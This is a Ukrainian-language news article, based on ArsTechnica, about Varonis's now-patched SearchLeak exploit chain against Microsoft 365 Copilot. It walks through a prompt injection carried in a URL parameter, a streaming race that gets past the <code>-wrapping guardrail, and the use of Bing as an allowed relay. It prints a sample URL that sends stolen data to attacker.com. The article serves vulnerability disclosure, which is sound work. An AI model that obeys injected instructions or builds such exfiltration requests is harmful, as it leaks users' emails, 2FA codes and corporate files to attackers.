Microsoft був буквально вражений: через критичну лазівку в Copilot хакери викрали коди 2FA та корпоративні

Минулого вівторка Microsoft виправила вразливість, яку оцінила як максимально критичну, у своїй платформі M365 Copilot AI. У понеділок дослідники, які виявили вразливість і повідомили про неї Microsoft, розповіли, як їхній експлойт для підтвердження концепції міг витягувати коди двофакторної автентифікації (2FA) та інші конфіденційні дані з електронних листів, доступних Copilot. Microsoft та інші постачальники LLM (великих мовних моделей) виявилися нездатними запобігти виконанню їхніми продуктами зловмисних запитів на розкриття даних.

Читайте также: Google відправила власнику поламаний Galaxy S22 Ultra замість справного Pixel


“Першопричина: ШІ-боти не здатні відрізнити інструкції, надані користувачами, від тих, що були непомітно впроваджені в сторонній контент, який моделі підсумовують, на який складають відповіді або який використовують для виконання інших дій від імені користувача”, — пише ArsTechnica.

Не маючи можливості убезпечити цю ключову межу, Microsoft та її колеги змушені зводити складні та спеціальні захисні бар’єри (guardrails), розроблені для стримування наслідків цієї невиліковної довірливості.

Перестрибування через захисні бар’єри

Один із захисних бар’єрів, вбудованих у Copilot та більшість інших LLM, не дозволяє їм надсилати вебформи, електронні листи та виконувати подібні дії, які можуть бути використані для вилучення (ексфільтрації) даних користувача. Щоб обійти це, хакери LLM звернулися до мови розмітки, яка, серед іншого, дозволяє користувачам додавати до тексту такі елементи форматування, як заголовки, списки та посилання, без необхідності використання HTML-тегів. Інший обхідний шлях полягає в тому, щоб загорнути конфіденційні дані всередину HTML-тегів, таких як <img> та <form>. У будь-якому випадку вебзапит, що відображає ці дані, потрапляє на вебсервер зловмисника, де секретна інформація фіксується в журналах.

“Один із захисних бар’єрів Microsoft загортає вихідні дані Copilot у блоки <code>, щоб браузер сприймав їх як звичайний текст. Інший — обмежує сайти, які Copilot дозволено відвідувати без явного дозволу. Хоча Copilot має загальний дозвіл на надсилання запитів до доменів Microsoft, захисні бар’єри обмежують запити до ненадійних сайтів”, — пояснює ArsTechnica.

Охоронна фірма Varonis розробила ланцюжок експлойтів, який зміг перестрибнути ці захисні бар’єри. Першим елементом було те, що дослідники називають “Ін’єкцією параметра в підказку” (Parameter-to-Prompt Injection). Параметром у цьому випадку є q в URL-адресі, який використовується для позначення включеного запиту. Ін’єкція параметра в підказку є близьким родичем ін’єкції підказки. Різниця полягає в тому, що зловмисна команда знаходиться в параметрі запиту, а не в електронному листі чи іншому фрагменті ненадійного контенту.


Щоб здійснити ін’єкцію параметра в підказку, зловмисник надсилає цілі електронний лист, який містить URL-адресу з синтаксисом [https://m365.cloud.microsoft/search/?auth=2&origindomain=microsoft365&q=](https://m365.cloud.microsoft/search/?auth=2&origindomain=microsoft365&q=). Поле містить інструкцію. Copilot з готовністю її виконував.

Читайте также: Assassin’s Creed Shadows отримала останнє велике оновлення з фінальною сюжетною главою

“Функція пошуку — це саме те, що потрібно зловмисникам, оскільки навіть з обмеженими можливостями користувача з доступом до критичної інформації цілком достатньо”, — написали дослідники в понеділок. — “Щоб витягти дані, зловмисник створює URL-адресу, яка наказує Copilot “Здійснити пошук в електронних листах користувача”, витягнути заголовок і вбудувати його в URL-адресу зображення. Жертва нічого не вводить. Вона натискає на посилання, а Copilot робить усе інше”.

Зазвичай мав би спрацювати захисний бар’єр, який загортає вихідні дані в блоки <code>. Але дослідники виявили, що захист активується лише після фази “обдумування” (thinking). До цього моменту Copilot генерував свою відповідь, використовуючи необроблений HTML, який тимчасово рендериться в DOM браузера.

Отже, послідовність виглядає так:

  • Copilot починає потокову передачу своєї відповіді, яка включає тег <img>
  • Браузер бачить <img>, рендерить його і відправляє HTTP-запит до URL-адреси джерела
  • Copilot завершує генерацію. Захисний бар’єр загортає все в <code>
  • Занадто пізно! Запит уже відправлено.

Тепер дослідники мали запит на зображення, який відправлявся з браузера цілі. Проблема, як зазначалося раніше, полягала в тому, що Copilot не надсилає запити на зображення до більшості вебсайтів. Щоб подолати цей бар’єр, ланцюжок експлойтів використав пошукову систему Microsoft Bing як своєрідний трамплін. Згідно з політикою безпеки контенту Copilot, Bing належить до сайтів, яким дозволено надсилати такі запити. Після цього Bing надсилав запит на контрольований зловмисником домен, який був включений до запиту. Запит виглядав приблизно так:

[https://www.bing.com/images/searchbyimage?cbir=sbi&imgurl=https://attacker.com/STOLEN_DATA/image.png](https://www.bing.com/images/searchbyimage?cbir=sbi&imgurl=https://attacker.com/STOLEN_DATA/image.png)

Компанія Varonis назвала цю атаку SearchLeak.

“Оскільки SearchLeak націлений на корпоративний рівень (Enterprise tier) Microsoft, радіус ураження не обмежується особистими даними — він здатний витягнути на поверхню будь-що, до чого користувач має доступ всередині організації, включно з електронними листами, запрошеннями на зустрічі та нотатками”, — написали дослідники компанії. — “Документи SharePoint, файли OneDrive та інший проіндексований бізнес-контент. Залежно від того, як M365 підключено до середовища, радіус ураження може розширитися ще більше”.

Як зазначалося, у вівторок Microsoft виправила вразливості, які використовував SearchLeak. Однак, оскільки немає відомого способу усунути першопричину подібних провалів, зловмисники неминуче знайдуть нові способи обійти щойно збудовані захисні бар’єри, і процес повториться знову і знову.

Читайте также: Прогноз матчів 19-20 червня ЧС-2026: США, Бразилія, Туреччина і Марокко

Джерело: ArsTechnica

Залишити відповідь

Ваша e-mail адреса не оприлюднюватиметься. Обов’язкові поля позначені *